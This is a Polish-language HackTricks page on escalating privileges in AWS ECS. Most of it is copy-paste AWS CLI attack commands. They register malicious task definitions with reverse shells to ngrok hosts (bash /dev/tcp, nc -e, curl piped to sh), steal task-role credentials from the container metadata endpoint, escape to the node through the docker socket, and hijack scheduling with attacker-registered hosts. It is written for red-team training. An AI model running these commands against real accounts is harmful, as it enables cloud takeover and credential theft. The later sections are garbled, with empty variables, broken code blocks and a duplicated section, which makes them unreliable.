AWS - ECS Privesc

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks

ECS

Więcej informacji o ECS w:

AWS - ECS Enum

iam:PassRole, ecs:RegisterTaskDefinition, ecs:RunTask

Atakujący nadużywający uprawnień iam:PassRole, ecs:RegisterTaskDefinition i ecs:RunTask w ECS może wygenerować nową definicję zadania z złośliwym kontenerem, który wykrada poświadczenia metadanych i uruchomić ją.

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

# Run task definition
aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}"

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

Potential Impact: Bezpośredni privesc do innej roli ECS.

iam:PassRole,ecs:RunTask

Atakujący, który ma uprawnienia iam:PassRole i ecs:RunTask, może uruchomić nowe zadanie ECS z zmodyfikowanymi wartościami execution role, task role oraz command kontenera. Polecenie CLI ecs run-task zawiera flagę --overrides, która pozwala zmienić w czasie wykonywania executionRoleArn, taskRoleArn i command kontenera bez modyfikowania task definition.

Wskazane role IAM dla taskRoleArn i executionRoleArn w swojej polityce zaufania muszą zezwalać, aby ecs-tasks.amazonaws.com mogło je przyjąć.

Atakujący musi także znać:

  • nazwę klastra ECS
  • podsieć VPC
  • grupę bezpieczeństwa (jeśli nie określono grupy bezpieczeństwa, użyta zostanie grupa domyślna)
  • nazwę Task Definition i rewizję
  • nazwę kontenera
aws ecs run-task \
--cluster <cluster-name> \
--launch-type FARGATE \
--network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" \
--task-definition <task-definition:revision> \
--overrides '
{
"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"containerOverrides": [
{
"name": <container-name>,
"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
}
]
}'

W powyższym fragmencie kodu atakujący nadpisuje tylko wartość taskRoleArn. Jednak, aby atak mógł się powieść, atakujący musi mieć uprawnienie iam:PassRole do taskRoleArn podanego w poleceniu oraz do executionRoleArn określonego w definicji zadania.

Jeśli rola IAM, którą atakujący może przekazać, ma wystarczające uprawnienia do pobrania obrazu z ECR i uruchomienia zadania ECS (ecr:BatchCheckLayerAvailability, ecr:GetDownloadUrlForLayer,ecr:BatchGetImage,ecr:GetAuthorizationToken) wtedy atakujący może ustawić tę samą rolę IAM zarówno jako executionRoleArn, jak i taskRoleArn w poleceniu ecs run-task.

aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
{
"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"executionRoleArn":"arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"containerOverrides": [
{
"name": "<container-name>",
"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
}
]
}'

Potencjalny wpływ: Direct privesc to any ECS task role.

iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask

Podobnie jak w poprzednim przykładzie, atakujący wykorzystujący uprawnienia iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask w ECS może wygenerować nowy task definition ze złośliwym containerem, który wykrada metadata credentials oraz uruchomi go.
Jednak w tym przypadku potrzebna jest container instance, aby uruchomić złośliwy task definition.

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

aws ecs start-task --task-definition iam_exfiltration \
--container-instances <instance_id>

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

Potencjalny wpływ: Direct privesc do dowolnej roli ECS.

iam:PassRole, ecs:RegisterTaskDefinition, (ecs:UpdateService|ecs:CreateService))

Podobnie jak w poprzednim przykładzie, atakujący nadużywający uprawnień iam:PassRole, ecs:RegisterTaskDefinition, ecs:UpdateService lub ecs:CreateService w ECS może wygenerować nową definicję zadania z złośliwym kontenerem, który wykrada poświadczenia metadanych i uruchomić ją, tworząc nową usługę z co najmniej jednym uruchomionym zadaniem.

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn  "$ECS_ROLE_ARN" \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]"

# Run the task creating a service
aws ecs create-service --service-name exfiltration \
--task-definition iam_exfiltration \
--desired-count 1 \
--cluster "$CLUSTER_ARN" \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}"

# Run the task updating a service
aws ecs update-service --cluster <CLUSTER NAME> \
--service <SERVICE NAME> \
--task-definition <NEW TASK DEFINITION NAME>

Potencjalny wpływ: Direct privesc do dowolnej roli ECS.

iam:PassRole, (ecs:UpdateService|ecs:CreateService)

Właściwie, tylko z tymi uprawnieniami możliwe jest użycie overrides do wykonania dowolnych poleceń w kontenerze z dowolną rolą za pomocą czegoś takiego:

aws ecs run-task \
--task-definition "<task-name>" \
--overrides '{"taskRoleArn":"<role-arn>", "containerOverrides":[{"name":"<container-name-in-task>","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \
--cluster <cluster-name> \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"

Potencjalny wpływ: Bezpośredni privesc do dowolnej roli ECS.

ecs:RegisterTaskDefinition, (ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)

Ten scenariusz jest podobny do poprzednich, ale bez uprawnienia iam:PassRole.
To nadal interesujące, ponieważ jeśli możesz uruchomić dowolny kontener, nawet bez roli, mógłbyś run a privileged container to escape do węzła i steal the EC2 IAM role oraz the other ECS containers roles uruchomionych na tym węźle.
Możesz nawet force other tasks to run inside the EC2 instance które przejmiesz, aby ukraść ich poświadczenia (jak omówiono w Privesc to node section).

Warning

Ten atak jest możliwy tylko jeśli ECS cluster is using EC2 instances, a nie Fargate.

printf '[
{
"name":"exfil_creds",
"image":"python:latest",
"entryPoint":["sh", "-c"],
"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""],
"mountPoints": [
{
"readOnly": false,
"containerPath": "/var/run/docker.sock",
"sourceVolume": "docker-socket"
}
]
}
]' > /tmp/task.json

printf '[
{
"name": "docker-socket",
"host": {
"sourcePath": "/var/run/docker.sock"
}
}
]' > /tmp/volumes.json


aws ecs register-task-definition --family iam_exfiltration \
--cpu 256 --memory 512 \
--requires-compatibilities '["EC2"]' \
--container-definitions file:///tmp/task.json \
--volumes file:///tmp/volumes.json


aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \
--launch-type EC2

# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell

ecs:ExecuteCommand, ecs:DescribeTasks,(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)

Atakujący posiadający uprawnienia ecs:ExecuteCommand, ecs:DescribeTasks może wykonywać polecenia wewnątrz uruchomionego kontenera i eksfiltrować przypisaną do niego IAM role (potrzebujesz uprawnień describe, ponieważ są one konieczne do uruchomienia aws ecs execute-command).
Jednakże, aby to zrobić, instancja kontenera musi mieć uruchomiony ExecuteCommand agent (który domyślnie nie jest).

W związku z tym atakujący może spróbować:

  • Spróbować uruchomić polecenie w każdym działającym kontenerze
# List enableExecuteCommand on each task
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
echo "Cluster $cluster"
for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do
echo "  Task $task"
# If true, it's your lucky day
aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand
done
done

# Execute a shell in a container
aws ecs execute-command --interactive \
--command "sh" \
--cluster "$CLUSTER_ARN" \
--task "$TASK_ARN"

Po uzyskaniu shella wewnątrz kontenera, zwykle możesz extract the task role credentials z task credentials endpoint i ponownie użyć ich poza kontenerem:

# Inside the container:
echo "$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
curl -s "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" | jq

# If you want to use them locally, print shell exports:
python3 - <<'PY'
import json, os, urllib.request
u = "http://169.254.170.2" + os.environ["AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"]
d = json.load(urllib.request.urlopen(u, timeout=2))
print("export AWS_ACCESS_KEY_ID=" + d["AccessKeyId"])
print("export AWS_SECRET_ACCESS_KEY=" + d["SecretAccessKey"])
print("export AWS_SESSION_TOKEN=" + d["Token"])
PY
  • Jeśli ma ecs:RunTask, uruchom zadanie z aws ecs run-task --enable-execute-command [...]
  • Jeśli ma ecs:StartTask, uruchom zadanie z aws ecs start-task --enable-execute-command [...]
  • Jeśli ma ecs:CreateService, utwórz usługę z aws ecs create-service --enable-execute-command [...]
  • Jeśli ma ecs:UpdateService, zaktualizuj usługę z aws ecs update-service --enable-execute-command [...]

Możesz znaleźć przykłady tych opcji w wcześniejszych sekcjach ECS privesc.

Potencjalny wpływ: Privesc do innej roli przypisanej do kontenerów.

ssm:StartSession

Sprawdź na stronie ssm privesc, jak możesz nadużyć tego uprawnienia, aby privesc to ECS:

AWS - SSM Privesc

iam:PassRole, ec2:RunInstances

Sprawdź na stronie ec2 privesc, jak możesz nadużyć tych uprawnień, aby privesc to ECS:

AWS - EC2 Privesc

ecs:RegisterContainerInstance, ecs:DeregisterContainerInstance, ecs:StartTask, iam:PassRole

An attacker z tymi uprawnieniami często może zamienić “cluster membership” w obejście granicy bezpieczeństwa:

  • Zarejestruj attacker-controlled EC2 instance w klastrze ECS ofiary (stając się instancją kontenera)
  • Ustaw niestandardowe container instance attributes, aby spełnić placement constraints
  • Pozwól ECS zaplanować zadania na tym hoście
  • Ukradnij task role credentials (oraz wszelkie sekrety/dane wewnątrz kontenera) z zadania uruchomionego na Twoim hoście

Ogólny przebieg:

  1. Uzyskaj dokument tożsamości instancji EC2 wraz z podpisem z instancji EC2, którą kontrolujesz w docelowym koncie (np. poprzez SSM/SSH):
curl -s http://169.254.169.254/latest/dynamic/instance-identity/document > iidoc.json
curl -s http://169.254.169.254/latest/dynamic/instance-identity/signature > iisig
  1. Zarejestruj go w docelowym klastrze, opcjonalnie ustawiając atrybuty, aby spełnić ograniczenia rozmieszczenia:
aws ecs register-container-instance \
--cluster "$CLUSTER" \
--instance-identity-document file://iidoc.json \
--instance-identity-document-signature "$(cat iisig)" \
--attributes name=labtarget,value=hijack
  1. Potwierdź, że dołączył:
aws ecs list-container-instances --cluster "$CLUSTER"
  1. Uruchom task / zaktualizuj service, aby coś zostało zaplanowane na instancji, a następnie pozyskaj task role creds z wnętrza taska:
# On the container host:
docker ps
docker exec -it <container-id> sh
curl -s "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

Notes:

  • Rejestrowanie instancji kontenera przy użyciu instance identity document/signature oznacza, że masz dostęp do instancji EC2 w docelowym koncie (lub że ją przejąłeś). Dla cross-account “bring your own EC2”, zobacz technikę ECS Anywhere na tej stronie.
  • Placement constraints często opierają się na atrybutach instancji kontenera. Wyenumeruj je za pomocą ecs:DescribeServices, ecs:DescribeTaskDefinition, oraz ecs:DescribeContainerInstances, aby wiedzieć, które atrybuty musisz ustawić.

ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet, ecs:DescribeTaskSets

Note

TODO: Przetestować to

Atakujący z uprawnieniami ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet, oraz ecs:DescribeTaskSets może utworzyć złośliwy task set dla istniejącej usługi ECS i zaktualizować primary task set. To pozwala atakującemu wykonywać dowolny kod wewnątrz usługi.

# Register a task definition with a reverse shell
echo '{
"family": "malicious-task",
"containerDefinitions": [
{
"name": "malicious-container",
"image": "alpine",
"command": [
"sh",
"-c",
"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh"
]
}
]
}' > malicious-task-definition.json

aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json

# Create a malicious task set for the existing service
aws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}"

# Update the primary task set for the service
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id

Potencjalny wpływ: Wykonanie dowolnego kodu w dotkniętej usłudze, co może wpłynąć na jej działanie lub doprowadzić do wykradzenia wrażliwych danych.

Referencje

Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)

Atakujący z uprawnieniami do zarządzania ECS capacity providers i aktualizacji usług może utworzyć kontrolowaną przez siebie EC2 Auto Scaling Group, opakować ją jako ECS Capacity Provider, powiązać z docelowym clusterem i przenieść usługę ofiary, aby używała tego provider. Zadania zostaną wtedy zaplanowane na instancjach EC2 kontrolowanych przez atakującego, co umożliwi dostęp na poziomie systemu operacyjnego do kontenerów i kradzież task role credentials.

Polecenia (us-east-1):

  • Wymagania wstępne

  • Utwórz Launch Template dla ECS agent, aby dołączył do target cluster

  • Utwórz Auto Scaling Group

  • Utwórz Capacity Provider z ASG

  • Powiąż Capacity Provider z klastrem (opcjonalnie jako domyślny)

  • Zmigruj usługę na swój provider

  • Zweryfikuj, że zadania uruchamiają się na instancjach atakującego

  • Opcjonalnie: z węzła EC2 wykonaj docker exec do target containers i odczytaj http://169.254.170.2 aby uzyskać task role credentials.

  • Czyszczenie

Potencjalny wpływ: Instancje EC2 kontrolowane przez atakującego otrzymują zadania ofiary, umożliwiając dostęp na poziomie systemu operacyjnego do kontenerów i kradzież task IAM role credentials.

Kroki krok po kroku (kopiuj/wklej)
export AWS_DEFAULT_REGION=us-east-1
CLUSTER=arn:aws:ecs:us-east-1:947247140022:cluster/ht-victim-cluster
# Instance profile for ECS nodes
aws iam create-role --role-name ht-ecs-instance-role --assume-role-policy-document Version:2012-10-17 || true
aws iam attach-role-policy --role-name ht-ecs-instance-role --policy-arn arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role || true
aws iam create-instance-profile --instance-profile-name ht-ecs-instance-profile || true
aws iam add-role-to-instance-profile --instance-profile-name ht-ecs-instance-profile --role-name ht-ecs-instance-role || true

VPC=vpc-18e6ac62 SUBNETS=

AMI=ami-0b570770164588ab4 USERDATA=IyEvYmluL2Jhc2gKZWNobyBFQ1NfQ0xVU1RFUj0gPj4gL2V0Yy9lY3MvZWNzLmNvbmZpZwo= LT_ID=

ASG_ARN=

CP_NAME=htcp-8797 aws ecs create-capacity-provider –name –auto-scaling-group-provider “autoScalingGroupArn=,managedScaling={status=ENABLED,targetCapacity=100},managedTerminationProtection=DISABLED” aws ecs put-cluster-capacity-providers –cluster “” –capacity-providers –default-capacity-provider-strategy capacityProvider=,weight=1

SVC=

Task definition must be EC2-compatible (not Fargate-only)

aws ecs update-service –cluster “” –service “” –capacity-provider-strategy capacityProvider=,weight=1 –force-new-deployment

TASK= CI= aws ecs describe-container-instances –cluster “” –container-instances “” –query containerInstances[0].ec2InstanceId –output text

Backdoor compute in-cluster via ECS Anywhere EXTERNAL registration

Wykorzystaj ECS Anywhere, aby zarejestrować host kontrolowany przez atakującego jako EXTERNAL container instance w klastrze ECS ofiary i uruchamiać na tym hoście zadania przy użyciu uprzywilejowanych task i execution roles. Daje to kontrolę na poziomie systemu operacyjnego nad miejscem uruchamiania zadań (twoja własna maszyna) oraz umożliwia kradzież poświadczeń/danych z zadań i podłączonych wolumenów bez ingerencji w capacity providers czy ASG.

  • Wymagane uprawnienia (przykład minimalny):

  • ecs:CreateCluster (optional), ecs:RegisterTaskDefinition, ecs:StartTask or ecs:RunTask

  • ssm:CreateActivation, ssm:DeregisterManagedInstance, ssm:DeleteActivation

  • iam:CreateRole, iam:AttachRolePolicy, iam:DeleteRole, iam:PassRole (dla roli instancji ECS Anywhere oraz task/execution roles)

  • logs:CreateLogGroup/Stream, logs:PutLogEvents (if using awslogs)

  • Wpływ: Uruchomienie dowolnych kontenerów z wybranym taskRoleArn na hoście atakującego; wykradzenie task-role credentials z 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI; dostęp do dowolnych wolumenów zamontowanych przez tasks; bardziej dyskretne niż manipulowanie capacity providers/ASGs.

Kroki

  1. Utwórz/zidentyfikuj klaster (us-east-1)
aws ecs create-cluster --cluster-name ht-ecs-anywhere
  1. Utwórz rolę ECS Anywhere i aktywację SSM (dla instancji on-prem/EXTERNAL)
aws iam create-role --role-name ecsAnywhereRole \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ssm.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam::aws:policy/AmazonSSMManagedInstanceCore
aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role
ACTJSON=$(aws ssm create-activation --iam-role ecsAnywhereRole)
ACT_ID=$(echo $ACTJSON | jq -r .ActivationId); ACT_CODE=$(echo $ACTJSON | jq -r .ActivationCode)
  1. Utwórz attacker host i automatycznie zarejestruj go jako EXTERNAL (przykład: mały AL2 EC2 jako “on‑prem”)
user-data.sh ```bash #!/bin/bash set -euxo pipefail amazon-linux-extras enable docker || true yum install -y docker curl jq systemctl enable --now docker curl -fsSL -o /root/ecs-anywhere-install.sh "https://amazon-ecs-agent.s3.amazonaws.com/ecs-anywhere-install-latest.sh" chmod +x /root/ecs-anywhere-install.sh /root/ecs-anywhere-install.sh --cluster ht-ecs-anywhere --activation-id ${ACT_ID} --activation-code ${ACT_CODE} --region us-east-1 ```
```bash AMI=$(aws ssm get-parameters --names /aws/service/ami-amazon-linux-latest/amzn2-ami-hvm-x86_64-gp2 --query 'Parameters[0].Value' --output text) IID=$(aws ec2 run-instances --image-id $AMI --instance-type t3.micro \ --user-data file://user-data.sh --query 'Instances[0].InstanceId' --output text) aws ec2 wait instance-status-ok --instance-ids $IID ``` 4) Zweryfikuj, że EXTERNAL container instance został dołączony ```bash aws ecs list-container-instances --cluster ht-ecs-anywhere aws ecs describe-container-instances --cluster ht-ecs-anywhere \ --container-instances --query 'containerInstances[0].[ec2InstanceId,attributes]' # ec2InstanceId will be mi-XXXXXXXX (SSM managed instance id) and attributes include ecs.capability.external ``` 5) Utwórz task/execution roles, zarejestruj EXTERNAL task definition i uruchom ją na hoście atakującego ```bash # roles aws iam create-role --role-name ht-ecs-task-exec \ --assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs-tasks.amazonaws.com"},"Action":"sts:AssumeRole"}]}' aws iam attach-role-policy --role-name ht-ecs-task-exec --policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSTaskExecutionRolePolicy aws iam create-role --role-name ht-ecs-task-role \ --assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs-tasks.amazonaws.com"},"Action":"sts:AssumeRole"}]}' # attach any privileges you want to abuse to this task role

task def (EXTERNAL launch)

cat > td-external.json << ‘JSON’ { “family”: “ht-external”, “requiresCompatibilities”: [ “EXTERNAL” ], “networkMode”: “bridge”, “memory”: “256”, “cpu”: “128”, “executionRoleArn”: “arn:aws:iam:::role/ht-ecs-task-exec”, “taskRoleArn”: “arn:aws:iam:::role/ht-ecs-task-role”, “containerDefinitions”: [ {“name”:“steal”,“image”:“public.ecr.aws/amazonlinux/amazonlinux:latest”, “entryPoint”:[“/bin/sh”,“-c”], “command”:[“REL=$(printenv AWS_CONTAINER_CREDENTIALS_RELATIVE_URI); echo CREDS:; curl -s http://169.254.170.2$REL; sleep 600”], “memory”: 128, “logConfiguration”:{“logDriver”:“awslogs”,“options”:{“awslogs-region”:“us-east-1”,“awslogs-group”:“/ht/ecs/anywhere”,“awslogs-stream-prefix”:“steal”}} } ] } JSON aws logs create-log-group –log-group-name /ht/ecs/anywhere || true aws ecs register-task-definition –cli-input-json file://td-external.json CI=$(aws ecs list-container-instances –cluster ht-ecs-anywhere –query ‘containerInstanceArns[0]’ –output text) aws ecs start-task –cluster ht-ecs-anywhere –task-definition ht-external
–container-instances $CI

6) Stąd kontrolujesz hosta uruchamiającego zadania. Możesz odczytać logi z zadań (jeśli awslogs) lub bezpośrednio wykonać exec na hoście, aby wyeksfiltrować poświadczenia/dane z zadań.



#### Przykład polecenia (placeholders)




### Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)

Atakujący z uprawnieniami do zarządzania ECS capacity providers i aktualizowania usług może utworzyć EC2 Auto Scaling Group, którą kontroluje, umieścić ją w ECS Capacity Provider, powiązać ją z docelowym klastrem i przenieść usługę ofiary, aby korzystała z tego provider'a. Zadania zostaną wtedy zaplanowane na instancjach EC2 kontrolowanych przez atakującego, co umożliwia dostęp na poziomie systemu operacyjnego w celu inspekcji kontenerów i kradzieży poświadczeń roli zadania.

Commands (us-east-1):

- Wymagania wstępne



- Utwórz Launch Template dla agenta ECS, aby dołączył do docelowego klastra



- Utwórz Auto Scaling Group



- Utwórz Capacity Provider z ASG



- Powiąż Capacity Provider z klastrem (opcjonalnie jako domyślny)



- Przenieś usługę na twojego provider'a



- Zweryfikuj, że zadania trafią na instancje kontrolowane przez atakującego



- Opcjonalnie: z węzła EC2 wykonaj docker exec do docelowych kontenerów i odczytaj http://169.254.170.2, aby uzyskać poświadczenia roli zadania.

- Sprzątanie



**Potencjalny wpływ:** Instancje EC2 kontrolowane przez atakującego otrzymują zadania ofiary, co umożliwia dostęp na poziomie OS do kontenerów i kradzież poświadczeń roli zadania IAM.
> [!TIP]
> Ucz się & ćwicz AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://hacktricks-training.com/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Ucz się & ćwicz GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://hacktricks-training.com/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Ucz się & ćwicz Az Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Wspieraj HackTricks</summary>
>
> - Sprawdź [**subscription plans**](https://github.com/sponsors/carlospolop)!
> - **Dołącz do** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) lub [**telegram group**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Podziel się hacking tricks, zgłaszając PRy do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>